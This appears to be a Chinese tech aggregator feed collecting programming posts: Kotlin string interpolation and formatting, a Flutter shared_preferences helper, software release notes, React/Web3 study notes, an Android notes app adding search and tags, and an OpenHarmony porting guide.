val s = "abc"
println("$s.length is ${s.length}") // abc.length is 3

可以在多行字符串和转义字符串中使用模板。然而,多行字符串不支持反斜杠转义。要在多行字符串中插入美元符号 $,请在标识符开头的任何符号前使用以下语法:

fun main() {
    val p = 1
    
    val str = """
    $p ${p + 1} ${'$'}_9.99
    """
    
    val str2 = "$p ${p + 1} \$_9.99"
    
    println(str) // 1 2 $_9.99
    println(str2) // 1 2 $_9.99
}

为了避免在字符串中使用 ${'$'} 序列,可以使用实验性的多美元字符串插值功能。

多美元字符串插值

多美元字符串插值是实验性的,需要明确选择加入。

多美元字符串插值允许您指定需要多少个连续的美元符号来触发插值。插值是将变量或表达式直接嵌入字符串的过程。

虽然可以为单行字符串转义字面量,但多行字符串不支持反斜杠转义。要在多行字符串中包含美元符号 $ 作为字面字符,必须使用 ${'$'} 结构来防止字符串插值。这种方法可能会使代码更难阅读,尤其是在字符串包含多个美元符号时。

多美元字符串插值通过允许您在单行和多行字符串中将美元符号视为字面字符来简化这一点。

val KClass<*>.jsonSchema : String
    get() = $$"""
    {
      "$schema": "https://json-schema.org/draft/2020-12/schema",
      "$id": "https://example.com/product.schema.json",
      "$dynamicAnchor": "meta"
      "title": "$${simpleName ?: qualifiedName ?: "unknown"}",
      "type": "object"
    }
"""

在这里,$$ 前缀指定需要两个连续的美元符号来触发字符串插值。单个美元符号保持为字面字符。

您可以调整触发插值所需的美元符号数量。例如,使用三个连续的美元符号 $$$ 允许 $$$ 保持为字面字符,同时启用 $$$ 的插值:

val productName = "carrot"
val requestedData = $$$"""{
      "currency": "$",
      "enteredAmount": "42.45 $$",
      "$$serviceField": "none",
      "product": "$$$productName"
    }
"""

//{
//    "currency": "$",
//    "enteredAmount": "42.45 $$",
//    "$$serviceField": "none",
//    "product": "carrot"
//}
println(requestedData)

在这里,$$$ 前缀允许字符串包含 $$$,而无需使用 ${'$'} 结构进行转义。

要启用此功能,请在命令行中使用以下编译器选项:

kotlinc -Xmulti-dollar-interpolation main.kt

或者,更新 Gradle 构建文件的 compilerOptions {} 块:

// build.gradle.kts
kotlin {
    compilerOptions {
        freeCompilerArgs.add("-Xmulti-dollar-interpolation")
    }
}

此功能不会影响使用单美元字符串插值的现有代码。您可以继续像以前一样使用单个 $,并在需要处理字符串中的字面美元符号时应用多美元符号。

字符串格式化

使用 String.format() 函数的字符串格式化仅在 Kotlin/JVM 中可用。

要根据特定需求格式化字符串,请使用 String.format() 函数。

String.format() 函数接受一个格式字符串和一个或多个参数。格式字符串包含一个占位符(由 % 表示)用于给定的参数,后跟格式说明符。格式说明符是用于相应参数的格式化指令,由标志、宽度、精度和转换类型组成。格式说明符共同决定了输出的格式。常见的格式说明符包括用于整数的 %d、用于浮点数的 %f 和用于字符串的 %s。您还可以使用 argument_index$ 语法在格式字符串中以不同格式多次引用同一个参数。

有关详细理解和格式说明符的完整列表,请参阅 java.util.Formatter 文档。

// 格式化整数,添加前导零以达到七个字符的长度。
val integerNumber = String.format("%07d", 31416)
println(integerNumber) // 0031416

// 格式化浮点数以显示带有 + 号和四位小数。
val floatNumber = String.format("%+.4f", 3.141592)
println(floatNumber) // +3.1416

// 格式化两个字符串为大写,每个占位符对应一个字符串
val helloString = String.format("%S %S", "hello", "world")
println(helloString) // HELLO WORLD

// 将负数格式化为用括号括起来,然后以不同格式(不带括号)重复相同的数字,使用 argument_index$。
val negativeNumberInParentheses = String.format("%(d means %1\$d", -31416)
println(negativeNumberInParentheses) //(31416) means -31416

String.format() 函数提供了与字符串模板类似的功能。然而,String.format() 函数更加灵活,因为有更多的格式化选项可用。

此外,您可以从变量中分配格式字符串。这在格式字符串发生变化时非常有用,例如,在依赖于用户区域设置的本地化情况下。

使用 String.format() 函数时要小心,因为很容易将参数的数量或位置与其对应的占位符不匹配。

by xvch at January 18, 2025 04:15 PM

Flutter 如何优雅的使用sharedpreferences

Flutter 如何优雅的使用sharedpreferences

简单的分享一下我日常工作对flutter shared_preferences持久化的一些简单封装使用,参考了一些开发者的经验,保证简单且实用。

1、同步处理存储和拿取(初始化后可以同步使用)

class SpHelper {
  static SpHelper? _instance;
  static late SharedPreferences prefs;
  static final Lock _lock = Lock();

  static Future<SpHelper?> init() async {
    if (_instance == null) {
      await _lock.synchronized(() async {
        // 保持本地实例直到完全初始化。
        var singleton = SpHelper();
        await singleton._init();
        _instance = singleton;
      });
    }
    return _instance;
  }

  Future _init() async {
    prefs = await SharedPreferences.getInstance();
  }

  static putStorage(String key, value) async {
    if (value is String) {
      prefs.setString(key, value);
    } else if (value is num) {
      prefs.setInt(key, value as int);
    } else if (value is double) {
      prefs.setDouble(key, value);
    } else if (value is bool) {
      prefs.setBool(key, value);
    } else if (value is List) {
      prefs.setStringList(key, value.cast<String>());
    }
  }

  // 获取
  static getStorage(String key, [dynamic replace]) {
    if (prefs == null) return;
    return prefs.get(key) ?? replace;
  }

  /// 存储 String 类型数据
  static Future<void> putString(String key, String value) async {
    await prefs.setString(key, value);
  }

  /// 获取 String 类型数据
  static String getString(String key, [String replace = '']) {
    return prefs.getString(key) ?? replace;
  }

  /// 存储 int 类型数据
  static Future<void> putInt(String key, int value) async {
    await prefs.setInt(key, value);
  }

  /// 获取 int 类型数据
  static int getInt(String key, [int replace = 0]) {
    return prefs.getInt(key) ?? replace;
  }

  /// 存储 bool 类型数据
  static Future<void> putBool(String key, bool value) async {
    await prefs.setBool(key, value);
  }

  /// 获取 bool 类型数据
  static bool getBool(String key, [bool replace = false]) {
    return prefs.getBool(key) ?? replace;
  }

  /// 获取 List<String> 类型数据
  static List<String> getStringList(String key) {
    return prefs.getStringList(key) ?? [];
  }

  static Future<void> putStringList(String key, List<String> value) async {
    await prefs.setStringList(key, value);
  }
}

需要在app初始化时加上

Future<void> main() async {
  WidgetsFlutterBinding.ensureInitialized();
  // 初始化SpHelper
  await SpHelper.init();

  runApp(MainApp(key: appKey,),
  );
}

使用示范

// 存储
SpHelper.putStorage("user_name", "admin");
// 获取
SpHelper.getStorage("user_name");

// 指定类型
SpHelper.putString("user_name", "admin")

SpHelper.getString("user_name")

2、进一步简化对 Shared Preferences 的存取操作(开发中十分有用)

实际开发中我们不可能需要存取的时候就新写一个SharedPreferences的key,这样不好管理,就算把所有key都放到一个地方,那获取的时候也有点麻烦,并且每次取出的时候都要确认下key。我们可以根据前面的SpHelper去简单封装下存取只需要定义一个方法。

首先创建一个属性代理类

class SpProperty<T> {
  final String key;
  final T defaultValue;

  const SpProperty(this.key, this.defaultValue);

  /// 获取值
  T get value {
    switch (T) {
      case String:
        return SpHelper.getString(key, defaultValue as String) as T;
      case int:
        return SpHelper.getInt(key, defaultValue as int) as T;
      case bool:
        return SpHelper.getBool(key, defaultValue as bool) as T;
      case List<String>:
        return SpHelper.getStringList(key) as T;
      default:
        return SpHelper.getStorage(key, defaultValue) as T;
    }
  }

  /// 设置值
  Future<void> setValue(T value) async {
    switch (T) {
      case String:
        await SpHelper.putString(key, value as String);
        break;
      case int:
        await SpHelper.putInt(key, value as int);
        break;
      case bool:
        await SpHelper.putBool(key, value as bool);
        break;
      case List<String>:
        await SpHelper.putStringList(key, value as List<String>);
        break;
      default:
        await SpHelper.putStorage(key, value);
    }
  }
}

然后定义一个share存取方法

class SettingPrefer {

  // 主题 0 跟随系统  1 白天模式 2 夜晚模式  
  static const themeModeInt = SpProperty<int>("AppThemeMode", 2);

  // 是否测试版
  static const useTest = SpProperty<bool>("use_test", false);
}

最后的简单使用

// 存
SettingPrefer.themeModeInt.setValue(1)
// 取
SettingPrefer.themeModeInt.value

大家有简单和实用的方案欢迎补充

by 西西855 at January 18, 2025 04:03 PM

oschina news project

Cat2Bug-Platform v0.5.0 发布,轻量化 Bug 管理平台

Cat2Bug-Platform v0.5.0 已经发布,轻量化 Bug 管理平台。

更新内容:

  • 新增测试计划;
  • 新增项目数据同步到云平台;
  • 修复系统功能BUG;

因Gitee单文件不能超过100MB,因此请在官网 https://www.cat2bug.com/software/cat2bug-platform/0.5/cat2bug-platform-0.5.0.jar 下载Jar文件。

详情查看:https://gitee.com/cat2bug/cat2bug-platform/releases/v0.5.0

by 来源: 投稿 at January 18, 2025 03:45 PM

Hikyuu 2.3.1 发布,开源极速量化交易框架

Hikyuu Quant Framework 基于 C++/Python 的极速量化交易框架,同时可基于策略部件进行资产重用,快速累积策略资产

更多信息,参见:


2.3.1 版本主要更新

1. 新增特性
- HikyuuTdx 新增添加部分 tdx 880指数导入: 880001/880002 等
- 新增 INDEXO/INDEXH/INDEXL/INDEXC/INDEXA/INDEXV 大盘指标
- 新增 REPLACE/ISNA/ISINF/ISINFA 辅助数据处理指标
- interactive 工具新增 select2 快捷方法,用于导出最后时刻指定证券的所有指定指标值为 DataFrame
- 新增 MF_Weight 指定权重评分板
 
2. 功能优化
- echarts 绘图引擎改进,支持 sys performance 绘制
- interactive 工具中 zsbk_sz50/zsbk_sz180 命名调整为zsbk_sh50/zsbk_sh180
- 部分涉及日期对齐的指标添加 fill_null 参数, CORR/ADVANCE/DECLINE/INSUM等
- 改进 DMA 实现时数据对齐
- 调整 LOG/LN 计算值为 0 时为 -inf
- python constant 常量中添加 infa 表示负无穷大
- 优化 VAR、VARP, 采取抛弃方式
 
3. 缺陷修复
- fixed spot_server隔夜后会将未要求启动的spot_agent 启动起来
- fixed RESULT 输入为原型公式时可能因尚无结果集数据导致指定上下文时计算失败
- fixed CORR 初值计算, 导致n=0时结果不正确, 同时采用抛弃策略

by 来源: 投稿 at January 18, 2025 03:00 PM

juejin career

React-HOH前端共学week2 项目学习笔记

😀 大家好: 这次我以一个实际学习的 Web3 项目为例,一步步了解 React 开发中的重要概念。最近学习前端的知识,深知入门时的困惑,所以这次用最通俗的语言,结合实际代码来学习。

⚠️这次的代码示例,用的是HOH老陈老师给我们提到一个典范用例去学习。

1. 项目结构:你的代码应该放在哪里?

首先,让我们看看一个典型的 React 项目是怎么组织的:

src/
  ├── components/     # 可重用的组件
  │   ├── ui/        # 基础UI组件
  │   └── business/  # 业务组件
  ├── pages/         # 页面组件
  ├── lib/           # 工具函数和库
  ├── type/          # TypeScript 类型定义
  ├── App.tsx        # 应用程序的主入口
  └── main.tsx       # 渲染入口

这就像是整理你的房间:

  • components 就像你的工具箱,放着经常用到的小工具
  • pages 就像房间的不同区域,每个区域有特定的用途
  • lib 就像是收纳盒,存放各种通用的小物件
  • type 就像是使用说明书,告诉大家东西该怎么用

2. 路由:如何在页面间切换?

看看我们的 App.tsx

function App() {
  return (    
    <Router>
      <div className="bg-background">
        <NaviBar />
        <Routes>
          <Route path="/" element={<Main />} />
          <Route path="/user" element={<User />} />
        </Routes>
      </div>
    </Router>
  );
}

这就像是给你的网站画了一张地图:

  • Router 就是整个地图的边框
  • Routes 就像是地图上的路线
  • Route 就是具体的目的地
  • path="/" 就是主页,像家的位置
  • path="/user" 就是用户页面,像是你常去的商店

3. 组件:积木游戏

导航栏组件:

function NaviBar() {
return (
<nav className="flex items-center justify-between p-4">
<div className="flex items-center space-x-4">
<Link to="/">首页</Link>
<Link to="/user">用户</Link>
</div>
<WalletStatus />
</nav>
);
}

组件就像乐高积木:

  • 每个组件都是一个独立的积木块
  • Link 组件就像是门,让你能去到其他房间
  • className 就像是积木的颜色和形状
  • WalletStatus 是另一个积木块,专门显示钱包状态

4. Hooks:组件的记忆力

基础 Hooks

function UserProfile() {
    // 状态管理:就像是记事本
    const [profile, setProfile] = useState(null);
    
    // 就像是定时任务
    useEffect(() => {
        // 获取用户资料
        fetchUserProfile();
    }, []);
    
    // 回调函数:就像是预设好的操作指南
    const handleUpdate = useCallback(() => {
        updateProfile();
    }, []);
}

自定义 Hooks (复用)

function useWallet() {
    const [isConnected, setIsConnected] = useState(false);
    const [balance, setBalance] = useState(0);
    
    useEffect(() => {
        // 监听钱包连接状态
        const checkConnection = async () => {
            // 检查逻辑
        };
        checkConnection();
    }, []);
    
    return { isConnected, balance };
}

Hooks 就像是给组件装上了不同功能的芯片:

  • useState 就像是记事本,能记住数字、文字等信息
  • useEffect 就像是一个自动执行的任务清单
  • [] 依赖数组就像是触发条件,告诉任务什么时候该执行

5.状态管理进阶

本地状态管理

const [displayProfile, setDisplayProfile] = useState<DisplayProfile | null>(null);

就像是组件的私人笔记本:

  • 只有自己能看到和修改
  • 数据变化时会自动更新界面
  • 适合管理组件内部的临时数据

全局状态管理

const WalletContext = React.createContext({
address: null,
connect: () => {},
disconnect: () => {}
})

就像是公共告示板:

  • 所有组件都能看到
  • 数据变化时相关组件都会更新
  • 适合管理需要共享的数据

6. 样式

项目使用了 Tailwind CSS(一个样式工具库) +Shadcn (UI组件库)

<div className="flex items-center justify-between p-4 bg-white shadow-md">

项目中常用的几个样式:

  • flex 就像是把东西排成一行
  • items-center 就像是让所有东西垂直居中
  • p-4 就像是给内容加上内边距
  • bg-white 就像是刷上白色油漆
  • shadow-md 就像是给元素加上阴影,让它看起来立体一点

我个人的学习方法是样式部分基本都是现用现查,不去记忆。

7.智能合约交互

查询链上状态

export const queryState = async () => {
    const events = await suiClient.queryEvents({
        query: {
            MoveEventType: `${networkConfig.testnet.packageID}::week_two::ProfileCreated`
        }
    })
    const state: State = {
        users: []
    }
    events.data.map((event) => {
        const user = event.parsedJson as User;
        state.users.push(user);
    })
    return state;
}

这就像是:

  • 查看区块链上的"公告板"
  • 找到所有创建用户档案的记录
  • 整理成前端可以使用的格式

查询用户档案

export const queryProfile = async (address: string) => {
    if (!isValidSuiAddress(address)) {
        throw new Error("Invalid profile address");
    }
    const profileContent = await suiClient.getObject({
        id: address,
        options: {
            showContent: true
        }
    })
    // ... 数据处理逻辑
}

  • 先检查地址是否有效
  • 根据地址查找用户的档案
  • 将链上数据转换为可用格式

8.交易处理

创建用户档案

export const createProfileTx = (name: string, description: string) => {
    return Transaction.create()
        .moveCall({
            target: `${networkConfig.testnet.packageID}::week_two::create_profile`,
            arguments: [name, description],
        });
}

  • 填写一份创建档案的表单
  • 准备提交到区块链
  • 等待区块链确认

⚠️ 在有些的智能合约和前端交互的功能会用到 PTB 交易块 or 签名交易 为的是保证交易的成功和防止篡改。

8.GraphQL 查询

部分code:

const queryFolderDataContext = graphql(`
    query queryFolderDataContext($address:SuiAddress!) {
        object(address:$address){
            dynamicFields{
                nodes{
                    name{
                        json
                    }
                    value{
                    ...on MoveValue{
                            json
                        }
                    }
                }
            }
        }
    }
    `)
  • 一次获取多个相关数据
  • 减少网络请求次数
  • 更高级的查询语言
💡 有关React使用上的问题,欢迎您在底部评论区留言,一起交流~

💧  HOH水分子公众号

🌊  HOH水分子X账号

⭐️ HOH水分子Github社区

by EGAL at January 18, 2025 02:46 PM

juejin android

Android 笔记 App4:实现搜索和标签管理功能

实现搜索和标签管理功能

这次我们将逐步实现搜索和标签管理功能。以下是详细的实现步骤:


1. 数据模型

首先,扩展 Note 数据类以支持标签。

Note.kt

// Note.kt  
package com.nemo.notes.model  
  
import androidx.room.Entity  
import androidx.room.PrimaryKey  
import java.util.Date  
  
@Entity(tableName = "notes")  
data class Note(  
    @PrimaryKey(autoGenerate = true) val id: Long = 0,  
    val title: String,  
    val content: String,  
    val tags: List<String> = emptyList(),  // 新增标签字段  
    val createdAt: Date = Date(),  
    val updatedAt: Date = Date()  
)

2. 数据库访问对象 (DAO)

更新 NoteDao 接口以支持标签搜索。

NoteDao.kt

package com.nemo.notes.database  
  
import androidx.room.Dao  
import androidx.room.Delete  
import androidx.room.Insert  
import androidx.room.Query  
import androidx.room.Update  
import com.nemo.notes.model.Note  
import kotlinx.coroutines.flow.Flow  
  
@Dao  
interface NoteDao {  
    @Query("SELECT * FROM notes ORDER BY updatedAt DESC")  
    fun getAllNotes(): Flow<List<Note>>  
  
    @Insert  
    suspend fun insert(note: Note): Long  
  
    @Update  
    suspend fun update(note: Note): Int  
  
    @Query("DELETE FROM notes WHERE id = :noteId")  
    suspend fun delete(noteId: Long): Int  
  
    @Delete  
    suspend fun delete(note: Note): Int  
  
    @Query("SELECT * FROM notes WHERE title LIKE :query OR content LIKE :query OR tags LIKE :query ORDER BY updatedAt DESC")  
    fun searchNotes(query: String): Flow<List<Note>>  
}

数据库中读取 tags 字段。需要创建一个类型转换器来处理 List<String> 和支持的数据库类型(如 String)之间的转换。

Converters.kt

// Converters.kt  
package com.nemo.notes.database  
  
import androidx.room.TypeConverter  
  
class Converters {  
    @TypeConverter  
    fun fromString(value: String): List<String> {  
        return value.split(",").map { it.trim() }  
    }  
  
    @TypeConverter  
    fun listToString(list: List<String>): String {  
        return list.joinToString(",")  
    }  
}

AppDatabase 类中注册 Converters

**`NoteDatabase.kt

package com.nemo.notes.database  
  
import android.content.Context  
import androidx.room.Database  
import androidx.room.Room  
import androidx.room.RoomDatabase  
import androidx.room.TypeConverters  
import com.nemo.notes.model.Note  
  
@Database(entities = [Note::class], version = 1, exportSchema = false)  
@TypeConverters(DateConverter::class, Converters::class)  
abstract class NoteDatabase : RoomDatabase() {  
  
    abstract fun noteDao(): NoteDao  
  
    companion object {  
        @Volatile  
        private var INSTANCE: NoteDatabase? = null  
  
        fun getDatabase(context: Context): NoteDatabase {  
            return INSTANCE ?: synchronized(this) {  
                val instance = Room.databaseBuilder(  
                    context.applicationContext,  
                    NoteDatabase::class.java,  
                    "note_database"  
                ).build()  
                INSTANCE = instance  
                instance  
            }  
        }  
    }  
}

3. 仓库

更新 NoteRepository 类以支持搜索功能。

NoteRepository.kt

package com.nemo.notes.repository  
  
import com.nemo.notes.database.NoteDao  
import com.nemo.notes.model.Note  
import kotlinx.coroutines.flow.Flow  
import javax.inject.Inject  
  
class NoteRepository @Inject constructor(  
    private val noteDao: NoteDao  
) {  
    fun getAllNotes(): Flow<List<Note>> = noteDao.getAllNotes()  
  
    suspend fun insert(note: Note) = noteDao.insert(note)  
  
    suspend fun update(note: Note) = noteDao.update(note)  
  
    suspend fun delete(noteId: Long) = noteDao.delete(noteId)  
  
    // 新增搜索方法  
    fun searchNotes(query: String): Flow<List<Note>> = noteDao.searchNotes("%$query%")  
}

4. ViewModel

更新 NoteViewModel 类以支持搜索功能。

NoteViewModel.kt

package com.nemo.notes.viewmodel  
  
import androidx.lifecycle.ViewModel  
import androidx.lifecycle.viewModelScope  
import com.nemo.notes.model.Note  
import com.nemo.notes.repository.NoteRepository  
import dagger.hilt.android.lifecycle.HiltViewModel  
import kotlinx.coroutines.flow.Flow  
import kotlinx.coroutines.flow.MutableStateFlow  
import kotlinx.coroutines.flow.combine  
import kotlinx.coroutines.flow.flatMapLatest  
import kotlinx.coroutines.flow.flowOf  
import kotlinx.coroutines.launch  
import javax.inject.Inject  
  
@HiltViewModel  
class NoteViewModel @Inject constructor(  
    private val repository: NoteRepository  
) : ViewModel() {  
  
    val allNotes: Flow<List<Note>> = repository.getAllNotes()  
  
    // 新增搜索字段  
    private val searchQuery = MutableStateFlow("")  
  
    fun insert(note: Note) = viewModelScope.launch {  
        repository.insert(note)  
    }  
  
    fun update(note: Note) = viewModelScope.launch {  
        repository.update(note)  
    }  
  
    fun delete(noteId: Long) = viewModelScope.launch {  
        repository.delete(noteId)  
    }  
  
    // 新增搜索方法  
    val filteredNotes: Flow<List<Note>> = combine(allNotes, searchQuery) { notes, query ->  
        query to notes  
    }.flatMapLatest { (query, notes) ->  
        if (query.isEmpty()) {  
            flowOf(notes)  
        } else {  
            repository.searchNotes(query)  
        }  
    }  
  
    // 新增搜索方法  
    fun setSearchQuery(query: String) {  
        searchQuery.value = query  
    }  
}

5. UI 界面

5.1 笔记列表界面

更新 NoteListScreen 以支持搜索功能。

NoteListScreen.kt
package com.nemo.notes.ui  
  
import androidx.compose.foundation.layout.Column  
import androidx.compose.foundation.layout.Spacer  
import androidx.compose.foundation.layout.fillMaxWidth  
import androidx.compose.foundation.layout.height  
import androidx.compose.foundation.layout.padding  
import androidx.compose.foundation.lazy.LazyColumn  
import androidx.compose.foundation.lazy.items  
import androidx.compose.material3.Button  
import androidx.compose.material3.Card  
import androidx.compose.material3.MaterialTheme  
import androidx.compose.material3.Text  
import androidx.compose.material3.TextField  
import androidx.compose.runtime.Composable  
import androidx.compose.runtime.collectAsState  
import androidx.compose.runtime.getValue  
import androidx.compose.runtime.mutableStateOf  
import androidx.compose.runtime.remember  
import androidx.compose.runtime.setValue  
import androidx.compose.ui.Modifier  
import androidx.compose.ui.unit.dp  
import androidx.hilt.navigation.compose.hiltViewModel  
import androidx.navigation.NavHostController  
import com.nemo.notes.viewmodel.NoteViewModel  
  
@Composable  
fun NoteListScreen(navController: NavHostController, viewModel: NoteViewModel) {  
    // 使用 Hilt 注入 NoteViewModel    val viewModel: NoteViewModel = hiltViewModel()  
    // 收集所有笔记的状态  
    //val notes by viewModel.allNotes.collectAsState(initial = emptyList())  
    val notes by viewModel.filteredNotes.collectAsState(initial = emptyList())  
  
    // 新增搜索字段  
    var searchQuery by remember { mutableStateOf("") }  
  
    Column(modifier = Modifier.padding(16.dp)) {  
        // 搜索框  
        TextField(  
            value = searchQuery,  
            onValueChange = {  
                searchQuery = it  
                viewModel.setSearchQuery(it)  
            },  
            label = { Text("Search") },  
            modifier = Modifier.fillMaxWidth()  
        )  
        // 添加间距  
        Spacer(modifier = Modifier.height(16.dp))  
        // 显示标题  
        Text(text = "My Notes", style = MaterialTheme.typography.headlineMedium)  
        // 显示笔记列表  
        LazyColumn {  
            items(notes) { note ->  
                // 每个笔记项使用 Card 显示  
                Card(  
                    onClick = { navController.navigate("noteEdit/${note.id}") },  
                    modifier = Modifier.padding(8.dp)  
                ) {  
                    Column(modifier = Modifier.padding(16.dp)) {  
                        // 显示笔记标题  
                        Text(text = note.title, style = MaterialTheme.typography.titleMedium)  
                        // 显示笔记内容  
                        Text(text = note.content, style = MaterialTheme.typography.bodyMedium)  
                        // 显示笔记标签  
                        if (note.tags.isNotEmpty()) {  
                            Text(text = "Tags: ${note.tags.joinToString(", ")}", style = MaterialTheme.typography.bodySmall)  
                        }  
                    }  
                }            }        }        // 添加间距  
        Spacer(modifier = Modifier.height(16.dp))  
        // 添加新笔记按钮  
        Button(  
            onClick = { navController.navigate("noteEdit/null") },  
            modifier = Modifier.fillMaxWidth()  
        ) {  
            Text("Add New Note")  
        }  
    }}

5.2 笔记编辑界面

更新 NoteEditScreen 以支持标签管理。

NoteEditScreen.kt
package com.nemo.notes.ui  
  
import androidx.compose.foundation.layout.Column  
import androidx.compose.foundation.layout.Row  
import androidx.compose.foundation.layout.Spacer  
import androidx.compose.foundation.layout.fillMaxWidth  
import androidx.compose.foundation.layout.height  
import androidx.compose.foundation.layout.padding  
import androidx.compose.material3.Button  
import androidx.compose.material3.ExperimentalMaterial3Api  
import androidx.compose.material3.MaterialTheme  
import androidx.compose.material3.Text  
import androidx.compose.material3.TextField  
import androidx.compose.runtime.Composable  
import androidx.compose.runtime.LaunchedEffect  
import androidx.compose.runtime.getValue  
import androidx.compose.runtime.mutableStateOf  
import androidx.compose.runtime.remember  
import androidx.compose.runtime.setValue  
import androidx.compose.ui.Modifier  
import androidx.compose.ui.unit.dp  
import androidx.navigation.NavController  
import com.nemo.notes.model.Note  
import com.nemo.notes.viewmodel.NoteViewModel  
  
@OptIn(ExperimentalMaterial3Api::class)  
@Composable  
fun NoteEditScreen(  
    navController: NavController,  
    viewModel: NoteViewModel,  
    noteId: Long?  
) {  
    // 使用 remember 保存笔记状态  
    val note = remember { mutableStateOf(Note(title = "", content = "")) }  
    // 新增标签字段  
    var newTag by remember { mutableStateOf("") }  
  
    // 如果 noteId 不为空,加载对应的笔记  
    if (noteId != null) {  
        LaunchedEffect(noteId) {  
            viewModel.allNotes.collect { notes ->  
                notes.find { it.id == noteId }?.let { note.value = it }  
            }        }    }  
  
    Column(modifier = Modifier.padding(16.dp)) {  
        // 标题输入框  
        TextField(  
            value = note.value.title,  
            onValueChange = { note.value = note.value.copy(title = it) },  
            label = { Text("Title") },  
            modifier = Modifier.fillMaxWidth()  
        )  
        Spacer(modifier = Modifier.height(16.dp))  
        // 内容输入框  
        TextField(  
            value = note.value.content,  
            onValueChange = { note.value = note.value.copy(content = it) },  
            label = { Text("Content") },  
            modifier = Modifier.fillMaxWidth().height(200.dp)  
        )  
        Spacer(modifier = Modifier.height(16.dp))  
        // 新增标签输入框  
        Text(text = "Tags: ${note.value.tags.joinToString(", ")}", style = MaterialTheme.typography.bodySmall)  
        Row(modifier = Modifier.fillMaxWidth()) {  
            // 输入标签  
            TextField(  
                value = newTag,  
                onValueChange = { newTag = it },  
                label = { Text("Add Tag") },  
                modifier = Modifier.weight(1f)  
            )  
            // 添加标签按钮  
            Button(  
                onClick = {  
                    if (newTag.isNotBlank()) {  
                        note.value = note.value.copy(tags = note.value.tags + newTag)  
                        newTag = ""  
                    }  
                },  
                modifier = Modifier.padding(start = 8.dp)  
            ) {  
                Text("Add")  
            }  
        }        Spacer(modifier = Modifier.height(16.dp))  
        // 保存按钮  
        Button(  
            onClick = {  
                if (noteId == null) {  
                    viewModel.insert(note.value)  
                } else {  
                    viewModel.update(note.value.copy(id = noteId))  
                }  
                navController.popBackStack()  
            },  
            modifier = Modifier.fillMaxWidth()  
        ) {  
            Text(if (noteId == null) "Create Note" else "Update Note")  
        }  
    }}

6. 运行项目

  1. 确保您的 Android 项目配置正确。
  2. 运行项目并测试搜索和标签管理功能。

1.png

2.png

3.png

项目代码参考地址:github.com/wxxzy/Notes…

通过以上步骤,您已经成功实现了搜索和标签管理功能。接下来,您可以继续实现云同步和备份功能。如果有任何问题或需要进一步的帮助,请随时告诉我!

by NemoNemo at January 18, 2025 01:59 PM

juejin backend

OpenHarmony(鸿蒙南向开发)——标准系统移植指南(一)

本文描述了移植一块开发板的通用步骤,和具体芯片相关的详细移植过程无法在此一一列举。后续社区还会陆续发布开发板移植的实例供开发者参考。

定义开发板

本文以移植名为MyProduct的开发板为例讲解移植过程,假定MyProduct是MyProductVendor公司的开发板,使用MySoCVendor公司生产的MySOC芯片作为处理器。

定义产品

//vendor/MyProductVendor/{product_name}名称的目录下创建一个config.json文件,该文件用于描述产品所使用的SOC 以及所需的子系统。配置如下:

//vendor/MyProductVendor/MyProduct/config.json

{
    "product_name": "MyProduct",
    "version": "3.0",
    "type": "standard",
    "target_cpu": "arm",
    "ohos_version": "OpenHarmony 1.0",
    "device_company": "MyProductVendor",
    "board": "MySOC",
    "enable_ramdisk": true,
    "subsystems": [
      {
        "subsystem": "ace",
        "components": [
          { "component": "ace_engine_lite", "features":[] }
        ]
      },
...
    ]
}

主要的配置内容

配置项说明
product_name(必填)产品名称
version(必填)版本
type(必填)配置的系统级别,包含(small、standard等)
target_cpu(必填)设备的CPU类型(根据实际情况,这里的target_cpu也可能是arm64 、riscv、 x86等)
ohos_version(选填)操作系统版本
device_company(必填)device厂商名
board(必填)开发板名称
enable_ramdisk(必填)是否启动ramdisk
kernel_type(选填)内核类型
kernel_version(选填)kernel_type与kernel_version在standard是固定的不需要写
subsystems(必填)系统需要启用的子系统。子系统可以简单理解为一块独立构建的功能块。
product_company不体现在配置中,而是目录名,vendor下一级目录就是product_company,BUILD.gn脚本依然可以访问。

已定义的子系统可以在“//build/subsystem_config.json”中找到。当然你也可以定制子系统。

这里建议先拷贝Hi3516DV300 开发板的配置文件,删除掉 hisilicon_products 这个子系统。这个子系统为Hi3516DV300 SOC编译内核,显然不适合MySOC。

移植验证

至此,你可以使用如下命令,启动你产品的构建了:

./build.sh --product-name MyProduct 

构建完成后,可以在//out/{device_name}/packages/phone/images目录下看到构建出来的OpenHarmony镜像文件。

内核移植

这一步需要移植Linux内核,让Linux内核可以成功运行起来。

为SOC添加内核构建的子系统

修改文件//build/subsystem_config.json增加一个子系统。配置如下:

  "MySOCVendor_products": {
    "project": "hmf/MySOCVendor_products",
    "path": "device/MySOCVendor/MySOC/build",
    "name": "MySOCVendor_products",
    "dir": "device/MySOCVendor"
  },

接着需要修改定义产品的配置文件//vendor/MyProductVendor/MyProduct/config.json,将刚刚定义的子系统加入到产品中。

编译内核

源码中提供了Linux 4.19的内核,归档在//kernel/linux-4.19。本节以该内核版本为例,讲解如何编译内核。

在子系统的定义中,描述了子系统构建的路径path,即//device/MySOCVendor/MySOC/build。这一节会在这个目录创建构建脚本,告诉构建系统如何构建内核。

建议的目录结构:

├── build
│ ├── kernel
│ │     ├── linux
│ │           ├──standard_patch_for_4_19.patch // 基于4.19版本内核的补丁
│ ├── BUILD.gn
│ ├── ohos.build

BUILD.gn是subsystem构建的唯一入口。

期望的构建结果

文件文件说明
$root_build_dir/packages/phone/images/uImage内核镜像
$root_build_dir/packages/phone/images/ubootbootloader镜像

移植验证

启动编译,验证预期的kernel镜像是否成功生成。

用户态启动引导

  1. 用户态进程启动引导总览。

系统上电加载内核后,按照以下流程完成系统各个服务和应用的启动: 1. 内核启动init进程,一般在bootloader启动内核时通过设置内核的cmdline来指定init的位置;如上图所示的"init=/init root/dev/xxx"。 2. init进程启动后,会挂载tmpfs,procfs,创建基本的dev设备节点,提供最基本的根文件系统。 3. init继续启动ueventd监听内核热插拔事件,为这些设备创建dev设备节点;包括block设备各个分区设备都是通过此事件创建。 4. init进程挂载block设备各个分区(system,vendor),开始扫描各个系统服务的init启动脚本,并拉起各个SA服务。 5. samgr是各个SA的服务注册中心,每个SA启动时,都需要向samgr注册,每个SA会分配一个ID,应用可以通过该ID访问SA。 6. foundation是一个特殊的SA服务进程,提供了用户程序管理框架及基础服务;由该进程负责应用的生命周期管理。 7. 由于应用都需要加载JS的运行环境,涉及大量准备工作,因此appspawn作为应用的孵化器,在接收到foundation里的应用启动请求时,可以直接孵化出应用进程,减少应用启动时间。 2. init。

init启动引导组件配置文件包含了所有需要由init进程启动的系统关键服务的服务名、可执行文件路径、权限和其他信息。每个系统服务各自安装其启动脚本到/system/etc/init目录下。

